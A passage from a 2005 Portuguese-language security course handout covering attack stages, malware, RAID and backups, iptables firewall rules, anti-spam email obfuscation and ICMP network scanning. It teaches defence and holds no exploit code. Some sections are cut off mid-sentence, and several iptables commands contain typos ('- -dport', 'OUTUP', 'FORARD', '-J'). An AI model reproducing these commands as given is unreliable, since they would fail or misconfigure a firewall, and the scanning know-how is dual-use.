Académique Documents
Professionnel Documents
Culture Documents
em Geral
1) Conceitos Básicos
O Termo "Segurança", segundo a ISO 7498-2, é utilizado para especificar os fatores
necessários
para minimizar a vulnerabilidades de bens e recursos e está relacionada a necessidades de
proteção contra
acesso ou manipulação das informações confidenciais e utilização dos recursos de
processamento de forma
não autorizada.
Da mesma forma "Vulnerabilidade" é utilizada para especificar qualquer fraqueza que pode
ser
explorada para violar um sistema ou as informações que ele contem.
A necessidade de proteção deve ser definida tendo como base as possíveis “Ameaças” as
quais o
ambiente está exposto, e deve ser formalizado em um documento oficial denominado Política
de Segurança.
1.2) Ameaças e Ataques
Uma "Ameaça" consiste de uma possível violação da segurança de um ambiente ou sistema.
As
ameaças podem ser classificadas como:
1. Passivas / Ativas;
2. Acidentais / Intencionais;
Um "Ataque" é a materialização de uma ameaça e normalmente pode ocorrer de várias
formas
diferentes, mas normalmente é realizado através das etapas:
1. Obter informações sobre o alvo - coleta do perfil do alvo;
2. Obter acesso inicial, não privilegiado, ao sistema;
3. Explorar pontos fracos para aumentar o nível de privilégio e expandir o acesso;
4. Executar o ataque propriamente dito;
5. Instalar porta dos fundos (backdoor);
6. Cobrir rastros.
Dentre as técnicas que podem ser utilizadas para proferir um ataque podemos destacar:
1. Phreaking - consiste na má utilização do sistema telefônico, permitindo acesso gratuito
e até mesmo interromper seu funcionamento;
2. Discagem de Guerra ou Discagem de Força Bruta: consiste no uso de ferramentas
para realizar a discagem seqüencial para um número aleatório de números com o
objetivo de detectar um modem. Uma vez identificado um modem poderia ser utilizado
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 3 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
um ataque de senha para se ter acesso ao sistema;
3. Engenharia social: consiste em se passar por uma outra pessoa com o objetivo de
coletar informações para proferir o ataque em sí (coleta de informações privilegiadas);
Recentemente tem-se utilizado principalmente o "e-mail" para a realização desta técnica.
Esta técnica é uma forma incrívelmente eficaz de se reunir informações sobre um dado
ambiente u sistema alvo;
4. Quebra de senha: tem por finalidade obter as senhas de acesso ao sistema, ou de uma
conta em especial. As principais técnicas que podem ser empregadas são:
· Força bruta;
· Dicionário;
· Combinação de palavras;
Como não existem senhas 100% seguras é uma questão de tempo até que um software
de quebra de senha consiga descobrir uma senha.
5. Filtragem de Pacote (packet sniffing): almeja a coleta de nomes de usuário e senhas
que trafegam de forma não protegida pela rede; e outros tipos de informações
pertinentes para o invasor;
6. Varredura ICMP - Pinging : esta técnica é utilizada para determinar os possíveis alvos
para um determinado ataque, mas também pode ser utilizada por Administradores de
Rede para realizar o monitoramento da mesma;
7. Scanner de Portas: consiste na determinação de quais serviços de rede estão ativos
nos hospedeiros da rede, bem como da identificação das principais vulnerabilidades a
que estes hospedeiros estão sujeitos. Ao identificar o endereço de um hospedeiro ativo,
o invasor pode utilizar este valor para forjar um ataque sem ser identificado
8. Coleta do Finger Printing de um hospedeiro;
9. Código malicioso (malware): programas desenvolvidos com objetivo de "furto" de
informações ou até mesmo danificação dos sistemas.
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 4 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
2) Malware
Desde novembro de 1988, quando Robert Morris lançou seu verme na internet, a mídia
apresentou
o código malicioso como se fosse um desastre natural, o que não deixa de ser uma verdade,
visto seus
efeitos e como as pessoas se comportam.
Os vírus, além de serem desastrosos para a produtividade de uma empresa, devido ao seu
comportamento epidêmico, ele pode consumir uma sensível parte da largura de banda de uma
rede de
computadores.
Atualmente existe mais de 40.000 tipos distintos de vírus registrados. Dos vírus conhecidos três
se
destacam pelo seu poder destrutivo e pelo seu modo de operação. O vírus “Melissa”,
desenvolvido por
David Smith em 1999, causou um dano total de US$ 80 mil. O vírus "I love You" causou um
dano total
de US$ 10 bilhões e desativou mais de 10.000 empresas, incluindo o Departamento de Defesa
Norte
Americano (D.O.D).
Um dos motivos de rápida proliferação do Vírus "I love you" foi causada pelo uso do catálogo
de
endereços do Microsoft Outlook Express, e por explorar a curiosidade do usuário.
Como acontece no mundo real a cura para estas pragas está sempre um passo atrás do seu
desenvolvimento. E atualmente os vírus deixaram de ser um pequeno incomodo, se tornando
uma real
ameaça para a comunidade comercial.
2.1) Ciclo de Vida do Vírus
- Nascimento;
- Lançamento;
- Proliferação;
- Disparo;
- Ativação;
- Detecção;
- Eliminação;
- Mutação (volta ao primeiro estágio).
Os vírus podem utilizar vários meios de transporte, originalmente os disquetes e os arquivos
baixados de BBS eram a principal fonte, atualmente os e-mails e as redes promíscuas são os
dois maiores
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 7 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
grupos de risco de contaminação.
Atualmente, muitos vírus não necessitam que o usuário executem um arquivo anexado, basta
abrir o
e-mail ou visitar um site que o mesmo é automaticamente acionado.
usuário;
Nos Servidores – garante maior nível de segurança para os dados da rede, mas podem
�
dos discos fica inativo, apenas recebendo os dados do disco mestre até que ele
falhe. Este nível oferece uma boa tolerância a falhas, visto que ao ocorrer a
falha de um disco os usuários são automaticamente redirecionados para o
antigo disco escravo;
RAID 3: também implementa um espelhamento só que neste caso três ou mais
_
unidades de disco são espelhadas em uma outra, este nível também fornece
tolerância a falhas, uma vez que grava os bits de paridade em uma unidade
dedicada e permite que os discos trabalhem em paralelo, fornecendo assim alto
nível de desempenho;
RAID 5: esta faz uso de três unidades, em duas são armazenados os dados e
_
um processo de backup mais rápido e que ocupa menos espaço nas mídias de backup,
contudo o processo de restauração é mais lento e complexo. Também possui
periodicidade diária ou menor;
Backup Diferencial: Copia todos os arquivos que foram alterados desde o último
_
backup completo, por este motivo ocupa mais espaço nas mídias de backup e mais
lento de ser gerado, contudo é mais fácil de recupera-lo, sua execução
preferencialmente deve ser diária ou em intervalo menor. Para restaurar os dados a
partir deste tipo de backup deve-se ter em mãos apenas o último backup completo e o
último backup diferencial
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 25 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
6) Firewall
Várias pesquisas mostraram que a “Internet” é o principal ponto utilizado para realizar invasões.
Em
2002, segundo uma pesquisa feita pela módulo, 43% das empresas sofreram algum tipo de
ataque ou
invasão. Em 2003, esta valor subiu para 77%. E os hackers brasileiros são internacional
considerados como
os melhores do mundo.
Outro fator importante é que “... quanto mais tempo ficamos conectados à internet, maiores são
as
chances de sermos invadidos ou infectados por malwares ...”. Isto tudo pois o Ipv4, versão
atualmente em
uso da pilha de protocolos TCP/IP, não foi projetado para assegurar a integridade das
informações e realizar
o controle de acesso apropriado. Deste modo, a forma preferida de se violar uma rede tem sido
o uso de
pequenas falhas na implementação de serviços e protocolos baseados no TCP/IP.
6.1) O papel do Firewall no contexto atual das redes de
computadores
A principal função de um firewall é proteger os dados da rede interna, aquela que não está
conectada a internet, de ataques vindos da rede externa, normalmente a internet. Ou seja, tem
por objetivo
impedir acessos lógicos não autorizados a um determinado ambiente.
Neste modelo, o firewall geralmente é a única máquina diretamente conectada a rede externa,
mas
cada nó da rede pode e deve ter seu próprio firewall ativo, mas neste caso sua funcionalidade
está restrita a
proteção local, incluindo possíveis infecções e proliferações de malwares na rede interna.
Outro uso freqüente dos firewalls é ser utilizado para filtrar quem pode acessar máquinas da
rede
interna a partir da internet, este tipo de filtragem normalmente é baseada no endereço IP a
origem da
conexão e em alguns casos em seu Mac Adress.
6.2) Histórico
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 26 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
6.3) Tipos de Firewall
Existem várias classificações para os firewalls, contudo as mais comuns são: Filtro de Pacotes,
Firewall NAT e Híbridos.
Os filtros de pacotes, realizam o controle de todo fluxo de dados direcionado ao host. Através
da
análise dos cabeçalhos dos pacotes nos vários níveis da arquitetura de rede são capazes de
comparar seus
conteúdos com regras de controle de acesso (ACLs) préviamente definidas e então liberar ou
não
determinado fluxo de dados.
Já um firewall NAT manipula a rota padrão de pacotes que atravessam o kernel do host, ele
realiza
a tradução dos endereços de origem, de destino e algumas vezes pode inclusive realizar um
redirecionamento de porta. Este firewall pode ser classificado como: SNAT, DNAT e
Masquerading.
Um firewall SNAT normalmente é utilizado para fornecer acesso a uma rede privada apartir de
um
ou vários endereços IP fixo. Já o Masquerading realiza a mesma função só que sobre
endereços . E um
firewell baseado em DNAT pode ser utilizado na construção de uma DMZ ou de um cluster de
servidores.
O terceiro tipo de firewall seria o híbrido, que é aquele que realiza tanto filtragem de pacote
quando
redirecionamento (NAT).
Outra forma de classificação dos firewall é quanto sua forma de atuação dentro da pilha
RM/OSI,
neste caso os firewalls podem ser classificados como de Rede ou Gateways de Aplicativos.
Os Firewalls de nível de Rede são na verdade roteadores com grande capacidade de filtragem
de
pacote, permitem que haja uma restrição a nível de endereço, protocolo, número da porta e
conteúdo. São
fácil implementação, porém quando mal configurados estão sujeitos a ataques do tipo spoofing.
Mas a
filtragem normalmente impacta o processo de roteamento, de modo que podemos afirmar que:
“o
desempenho do roteador é inversamente proporcional ao nível de filtragem imposta”
Já os firewalls gateways de aplicativo, normalmente funcionam como pontes entre duas redes,
os
pacotes provenientes de fora da rede passam primeiro pelo gateways, que age como um filtro
escondendo
assim a rede interna.
Todos os tipos de firewall possuem suas limitações, o de nível de rede possui uma visão muito
limitada do que realmente acontece na rede. Já os gateways de aplicativo tem um
conhecimento maior
sobre a aplicação, porém são soluções específicas para cada aplicativo. Um dos firewalls de
aplicativos
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 27 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
mais conhecido é o SQUID, que foi projetado para manipular os protocolos HTTP, HTTPS e
FTP.
6.4) IPTABLES: O firewall do Linux
Este software é a quarta geração de firewall no Linux e permite a realização da filtragem dos
pacotes nas sete camadas da RM/OSI, funcionando ainda como um firewall híbrido. As ACL
utilizados por
ele estão todas armazenadas em memória, processo este que acelera os mecanismos de
filtragem e
redirecionamento.
O iptables é um dos poucos firewalls em software totalmente implementado no kernel do
sistema
operacional, garantindo assim maior nível de segurança a filtragem.
6.4.1) As tabelas o .iptables.
Para facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas, cada
qual
com um função específica. As principais tabelas do iptables são:
filter : responsável pela filtragem de todos os pacotes que passam pelo host, não
_
destino não é o mesmo. Esta tabela é utilizada quando desejamos utilizar o iptables para
construir “gateways” de borda.
mangle : permite alterar características específicas do pacote, como por exemplo: o
_
host;
FORWARD: fluxo composto por todos os pacotes que chegam ao host mas que são
_
destinados a outra máquina, que normalmente está na rede interna ou na DMZ. Logo
este fluxo é utilizado para permitir a realização do NAT;
A tabela “nat” por sua vez possui os seguintes fluxos:
PREROUTING : que permite realizar alterações nos pacotes antes que eles sejam
_
roteados;
POSROUTING : permite manipular os pacotes após seu processo de roteamento;
_
OUTPUT : possibilita o redirecionamento dos pacotes que foram emitidos pelo host;
_
ao
site “www.sexo.com.br”;
proiba que qualquer pacote oriundo do host “www.cracker.com” possa penetrar na nossa rede;
_
todos os pacotes oriundos da interface “eth1” do firewall devem ser redirecionados para o
_
computador 192.168.254.254;
todos os pacotes que desejam sair (eth0) da rede local para outra rede, tenham seus
_
endereços
de origem alterados para 146.164.32.90;
todos os pacotes que tentam entrar na rede por uma interface diferente da “eth0” devem ser
_
descartados; o mesmo deve ocorrer com qualquer pacote que tente sair por uma interface
diferente da “eth2”;
descarte todos os pacotes oriundos do ip 200.255.96.171 e destinado ao IP 192.168.254.7;
_
descartados;
# política padrão
#
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
#
# liberando o tráfego na interface lo
#
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
#
# pacotes que entram no firewall
#
iptables -A INPUT -p tcp - -dport 23 -j LOG “ [firewall] acesso ao serviço de telnet”
iptables -A INPUT -p tcp - -dport 23 -j DROP
#
# regras de forward
#
iptables -A FORWARD -s 192.158.254.0/24 -d www.sexo.com.br -j DROP
iptables -A FORWARD -d 192.158.254.0/24 -s www.cyberoots.org.br -j ACCEPT
iptables -A FORWARD -s 200.255.96.171 -d 192.168.254.7 -j DROP
iptables -A FORWARD -i ! eth1 -j DROP
iptables -A FORWARD -o ! eth0 -j DROP
#
# regras de nat
#
iptables -t nat -A PREROUTING -i eth1 -j DNAT 192.168.254.15
iptables -t nat -A POSTROUTING -o eth1 -j SNAT 192.168.254.1
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 34 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
6.4.6) Alguns Fluxos de NAT
Para acessos à internet através de uma conexão discada ou banda larga, que não fornece
endereço
fixo podemos utilizar a regra abaixo:
iptables -t nat -A POSTROUTING -o ppp -j MASQUERADE
Já para conexão à internet através de um endereço IP fixo e conhecido podemos utilizar uma
regra
como a que está abaixo:
iptables -t nat -A POSTROUTING -s 10.10.0.0/24 -o eth0 -j SNAT - -to 146.164.32.67
Outra regra muito comum é aquela usada para redirecionar uma conexão vinda da internet para a DMZ,
como
mostra a figura abaixo:
iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 10.10.0.1
6.4.7) Regras e configurações úteis
a) Habilitando o forward no kernel do Linux
Para permitir que o iptables instalado em uma distribuição Linux faça forward de pacotes esta
funcionalidade deve estar ativa no kernell do sistema, para tal podemos utilizar a seguinte linha
de comando:
echo “1” > /proc/sys/net/ipv4/ip_forward
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 35 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 do
comando a cima, ou seja :
echo “0” > /proc/sys/net/ipv4/ip_forward
b) Qualquer pacote cuja origem é o host 10.0.3.1 deverá ter seu endereço de origem alterado
para
192.11.22.33:
iptables -t nat -A POSTROUTING -s 10.0.3.1 -o eth0 -j SNAT - -to 192.11.22.33
c) Qualquer pacote cuja origem é a rede 10.0.3.0/8 deve ter seu endereço de origem alterado
para
192.11.22.33:
iptables -t nat -A POSTROUTING -s 10.0.3.0/8 -o eth0 -j SNAT - -to 192.11.22.33
d) Qualquer pacote cuja origem é a rede 10.0.3.0/8 que sai pela interface eth0 deve ter seu
endereço de
origem alterado para qualquer um do intervalo 192.11.22.33-192.11.22.66:
iptables -t nat -A POSTROUTING -s 10.0.3.0/8 -o eth0 -j SNAT - -to 192.11.22.33-192.11.22.66
e) Qualquer pacote que venha do host 10.0.3.1 e entre na máquina pela interface eth0 deve ser
redirecionado para o endereço 192.11.22.33:
iptables -t nat -A PREROUTING -s 10.0.3.1 -i eth0 -j DNAT - -to 192.11.22.33
f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos
endereços do
intervalo: 192.11.22.10 até 192.11.22.33:
iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192.11.22.10-192.11.22.33
g) Todos os pacotes que entram pela interface eth2 e são destinados a porta 22 deve ser
redirecionados
para o host 192.11.22.1:
iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 192.11.22.1
h) Criando um proxy transparente :
iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128
iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128
iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 36 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
6.4.8)Firewall a ser utilizando em um bastião
#
# definindo as regras padrão
#
iptables -P INPUT DROP
iptables -P OUTUP ACCEPT
iptables -P FORARD DROP
#
# liberado o loopback
#
iptables -A INPUT -i lo -j ACCEPT
#
# filtando os pacotes
#
iptables -A INPUT -p tcp - -dport 22 -j ACCEPT
iptables -A FORWARD -d 10.10.0.0/24 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 10.10.0.1
iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 10.10.0.1
iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 10.10.0.2
iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 10.10.0.3
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 37 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
6.4.9) Firewall para compartilhamento do Acesso a
Internet
#
# libera forward no kernel
#
echo “1” > /proc/sys/net/ipv4/ip_forward
#
# Política padrão
#
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
#
# liberando acesso a interface lo
#
iptables -A INPUT -i lo -J ACCEPT
#
# libera a entrada de conexões iniciadas pela máquina
#
iptables -A INPUT -m state - -state ESTABLISHED,RELATED -j ACCEPT
#
# bloqueia entrada na rede de conexões inválidas
#
iptables -A FORWARD -m state - -state NEW,INVALID -j DROP
#
# hablitando o macascaramento com ip dinâmico
#
iptables -t nat -A POSTROUTING -s 192.168.254.0/24 -o eth0 -j MASQUERADE
#
# libera a entrada de conexões iniciadas pela rede
#
iptables -A FORWARD -o eth0 -m state - -state ESTABLISHED,RELATED -j ACCEPT
#
# habilita o forward vinda da rede interna
#
iptables -A FORWARD -i eth1 -s 192.168.254.0/24 -J ACCEPT
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 38 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
7) SPAM
O SPAM, prática tão comum nos dias atuais, tem se tornado um problema para a maioria dos
administradores de sistemas, desenvolvedores e usuários de internet, mas a medida que os
filtros anti-spam
evoluem as técnicas utilizadas para burlar os filtros se desenvolvem mais rápido ainda. Uma
técnica que tem
surtido efeito é o uso da heurística, mas seu ponto fraco é apresentar uma grande quantidade
de falsos
positivos.
Mas uma coisa é certa muito administradores estão ajudando os inimigos, principalmente
aqueles
que devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existência
daquele e-mail.
Mas alguns administradores estão fazendo sua parte, uma das medidas adotadas é a adoção
de
servidores de SMTP que requerem a autenticação dos usuários antes de enviar o e-mail à seu
destinatário.
A seguir serão apresentadas algumas técnicas que podem ser utilizadas para minimizar a ação
dos
spammer.
7.1) Protegendo os endereços de e-mail
Segundo pesquisa realizada pelo “Center for Democracy and Technology (CDT)”, uma das
principais fontes de endereços de e-mail para os spammer são os websites que estão
disponíveis e que não
requerem autenticação. Neste contento alguns acham interessante excluir os e-mail das
páginas
impediando este tipo de coleta por parte dos spanner, mas como os verdadeiros usuários terão
acesso a
eles. O que deve ser implementado é uma forma de evitar que os spanner possam utilizar seus
“robos” para
coletarem de forma automática estes endereços nos websites.
O funcionamento destes “robos garimpeiros” se baseia em encontrar algumas palavras ou
caracteres chaves nas páginas da internet, das quais pode-se estacar “mailto”, “@”, “mail”, “e-
mail” e etc. A
aqueles que fazem uso de algum sistema operacional UNIX-Like, como o Linux, podem
construir seu
próprio scanner de e-mail com alguns comandos ( wget, tr, send, sort, cat e uniq).
Mas nem tudo está perdido, várias são as técnicas que camuflagem que podem ser utilizadas a
mais simples, podem a mais problemática para o usuário é utilizar um e-mail “falso” como por
exemplo:
suporte@remova-esta-parte.cyberoots.com.br, apesar de ser eficiente esta técnica pode
complicar a vida
do usuários mais leigos, que também não saberão distinguir qual é a parte válida do endereço.
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 39 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
Outra forma de se proteger é inserir no código html o e-mail utilizando os caracteres
codificados e
não os caracteres em sí, por exemplo no lugar de usuario@exemplo.com.br deveríamos
utilizar:
usuari@exemp
08;o.com.br
Todos os navegadores existentes conseguem interpretar estes caracteres codificados, mas os
robos
utilizados pelos spammer não possuem ferramentas para interpretar estes caracteres, não
ainda.
Outra técnica que pode ser utilizada são os java scripts, que também não são interpretados
pelos
robos, podemos por exemplo usa a função documment.writer() para escrever o conteúdo do
e-mail, que
permitirá aos usuários visualizarem o endereço mas que irão confundir as sondas de coleta,
ainda neste
sentido podemos colocar o endereço de e-mail em um arquivo externo.
A criptografia também pode nos ajudar, uma forma bem simplória de resolver o problema é
utilizar a
função “XOR” da lógica matemática para esconder o conteúdo do texto no código e utilizar o
java script para
realizar a decodificação do endereço. Mesmo sem uma forma fraca de criptografia ela é muito
eficientes
contra os robos dos spammers. Mas os clientes que não possuem o java script habilitado não
poderão
visualizar o endereço de e-mail, contudo a grande maioria dos navegadores já possuem
suporte a java
script, basta então solicitar ao usuário que o habilite em seu navegador.
Mas quem falou que e-mail tem que ser representado na forma de texto puro? Se utilizarmos
uma
figura contendo o endereço de e-mail, como a maioria dos robos não verificam o conteúdos das
figuras o
endereço passará desapercebido. Todavia também podemos utilizar uma animação flash para
a mesma
finalidade, mas o flash nem sempre está instalado na máquina do visitante e ele ainda não foi
portado para
todas as plataforma que suportam o uso de navegadores web.
Entretanto se o motivo de se expor o endereço de e-mail é para que os visitantes possam
entrar em
contato, podemos trocar este endereço por um formulário simples que pode ser usado para a
mesma
finalidade.
Mas se seu objetivo é descobrir quem está garimpando seu site atrás de endereço de e-mail,
crie
endereços de e-mails dinâmicos, através de java script, de tal modo que ele contenha a data,
hora e
endereço ip de quem está acessando a página, logo ao receber um e-mail para endereços
invalidos seu
servidor de e-mail pode repassá-los para uma conta especial que o administrador deverá
monitorar, com isto
será possível determinar quem ou de onde os robos estão sendo disparados.
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 40 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
8) Analisando e varrendo a Rede
Para realizar a varredura da rede, características específicas do seu protocolo devem ser
exploradas. Como o protocolo de rede utilizado na especificação do modelo é o TCP/IP, as
técnicas de
varredura aqui descritas são aquelas que se baseiam nas características desta pilha de
protocolo.
Sobre a pilha do TCP/IP existem três tipos básicos de varreduras: uma baseada no seu
protocolo de
controle (ICMP), outra no protocolo TCP e a terceira no protocolo UDP. Dentre as varreduras, a
mais
utilizada é a TCP, isto se deve ao elevado nível de exatidão que esta coleta de dados propicia.
8.1) Varredura ICMP - Internet Control Message Protocol
Uma das técnicas mais simples de varredura é a Varredura via ICMP. O protocolo ICMP é
normalmente utilizado para o envio e recebimento de informações sobre o funcionamento dos
nós, como por
exemplo, data e hora.
Através deste protocolo é possível implementar vários métodos de varreduras, como por
exemplo:
envio de ECHO e ECHO Reply; análise de mensagens de erro geradas por um nó, uso de
Trace Route
com ICMP ECHO e etc.
ICMP ECHO e ECHO Reply : Esta varredura consiste no envio de pacotes do tipo ICMP
ECHO ao nó alvo e aguardar por uma resposta. Todo nó ativo deve responder a esta
mensagem com um
pacote do tipo ICMP ECHO Reply . Quando um nó não responde aos pacotes ICMP ECHO
dentro de um
intervalo de tempo (time-out), o mesmo pode estar desconectado ou sendo filtrado por algum
firewall ou
gateway de borda.
Um exemplo de varredura via ICMP é a utilização do comando "ping" , que é um aplicativo
padrão TCP/IP que está presente em várias arquiteturas é permite o envio de pacotes do
tipo ICMP ECHO. para verificar se um nó está ativo. Porém, esta forma de verificação não é
indicada para redes com mais do que poucas dezenas de nós. O ping sempre espera a
resposda de um nó ao pacote enviado, ou até que ocorra o time-out, antes de enviar um
outro pacote.
Uma alternativa ao ping é o aplicativo fping, que é utilitário de rede disponível para as
plataformas Unix-Like e que funciona de forma análoga ao ping, mas com o envio de
pacotes de forma paralela que utiliza a mesma técnica, entretanto realiza o envio dos
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 41 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
pacotes ICMP de forma simultânea para vários endereços, acelerando o processo de
varredura da rede. Outra funcionalidade deste aplicativo é a possibilidade de se configurar o
"time-out" da conexão.
O uso do endereço de Broadcast e de Rede são duas alternativas que podem ser utilizadas
neste tipo de varredura. Neste caso, todos os nós ativos na rede devem responder ao nó
que originou a mensagem com um pacote ICMP ECHO Reply. Desta forma, com um único
pacote é possível varrer todo um segmento de rede. Entretanto, esta técnica só pode ser
aplicada para nós baseados no Unix , uma vez que máquinas com sistema operacional da
Microsoft não respondem a solicitação ICMP quando enviada ao endereço de Broadcast ou
de Rede.
Pois segundo a RFC1122, se um pacote ICMP ECHO é enviado via endereço de
Broadcast ou de Rede, o mesmo pode ser silenciosamente descartado pelo nós que o
recebe.
A varredura utilizando endereço de Broadcast ou Rede, pode provocar uma negação de
serviço ( D.o.S - Denial-of-Service) no nó responsável pelo envio dos pacotes ICMP ECHO.
Esta negação de serviço ocorre devido à grande quantidade de pacotes de resposta que ele
recebe para cada pacote ICMP gerado.
Non-ECHO ICMP : Além da mensagem ICMP ECHO, o protocolo ICMP implementa vários
outros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos
no próprio
mapeamento de dispositivos de rede. Dentre as principais mensagens ICMP pode-se destacar:
ECHO
( Request - Tipo 8 , Reply - Tipo 0); Time Stamp ( Request - Tipo 13 , Reply - Tipo 14);
Information
( Request - Tipo 15 , Reply - Tipo 16) e Address Mask ( Request - Tipo 17 , Reply - Tipo 18).
O envio de mensagens do tipo ICMP Time Stamp Request é utilizado normalmente, para
questionar a um nó a sua hora e data atual. Receber uma resposta ICMP Time Stamp
Reply , significa que o nó está ativo. Contudo, as mensagens ICMP Time Stamp Request
não costumam ser respondidas por nós com um dos sistemas operacionais da Microsoft. O
comportamento dos sistemas da Microsoft se deve à forma como a RFC 1122 foi
interpretada pelos seus desenvolvedores.
A mensagem ICMP Address Mask Request é utilizada por uma máquina sem disco, para
obter a máscara de rede durante seu processo de boot e também pode ser utilizada para
realizar a varredura da rede.
Quando uma solicitação deste tipo é feita através do endereço de Broadcast todos os nós
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 42 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
que estão configurados para responder a esta mensagem envia um "reply" com o
endereço solicitado. Normalmente este tipo de mensagem é respondida por Gateways,
Roteadores e em alguns casos por máquinas, que funcionam como agentes autorizados
para o fornecimento de máscara de rede.
ICMP Error Messages: Este método consiste no envio de mensagens formatadas de tal
modo que ao serem recebidas pelo nó produzirão uma mensagem de erro do protocolo ICMP.
Uma das formas de se provocar uma mensagem de erro é através do envio de pacotes IP
que possuem em seu cabeçalho campos incorretos. Pacotes deste tipo normalmente geram
uma mensagem de erro do tipo "ICMP Parameter Problem Error" , que normalmente
possui o campo "Code" configurado para zero (0). Esta varredura permite identificar nós
ativos, independentemente dos protocolos (TCP/UDP/ICMP) implementados por eles, que
também pode ser empregada sobre roteadores. Contudo, roteadores realizam uma
verificação mais relaxada dos campos do cabeçalho IP, como afirma a RFC1812 .
Outra vantagem é que, esta técnica pode ser aplicada mesmo se o nó está sendo filtrado
por algum firewall , uma vez que as mensagens forjadas podem ser enviadas para portas
específicas, como por exemplo, as portas TCP: 21, 25, 80 e UDP 53.
ICMP Fragment Reassembly Time Exceeded : Quando um nó recebe um datagrama
fragmentado em vários pacotes e ao remontá-los percebe que estão faltando alguns pacotes,
ele os
aguarda por um determinado período de tempo, quando então irá descartar todos os pacotes e
enviará ao
nó que originou os datagramas, uma mensagem de erro do tipo: "ICMP Fragment Reassembly
Time
Exceeded" .
ICMP Fragmentation Needed and Don't Fragment Bit was Set : Quando um roteador
recebe uma mensagem, ele verifica o valor do campo "PMTU" , se este for maior do que o valor
que ele
está utilizando, o roteador pode retornar ao nó, que gerou o pacote, uma mensagem de erro do
tipo "ICMP
Fragmentation Needed and Don't Fragment Bit was Set" .
Utilizando esta técnica, é possível determinar a existência de Roteadores entre a máquina
alvo e a máquina atual, bem como informações específicas que podem ajudar à determinar
a suposta marca e modelo deste equipamento.
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 43 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
8.2) Varredura de Portas
Vários gateways de segurança impedem o envio e o recebimento de pacotes ICMP entre redes
distintas, para inibir a varredura ICMP .
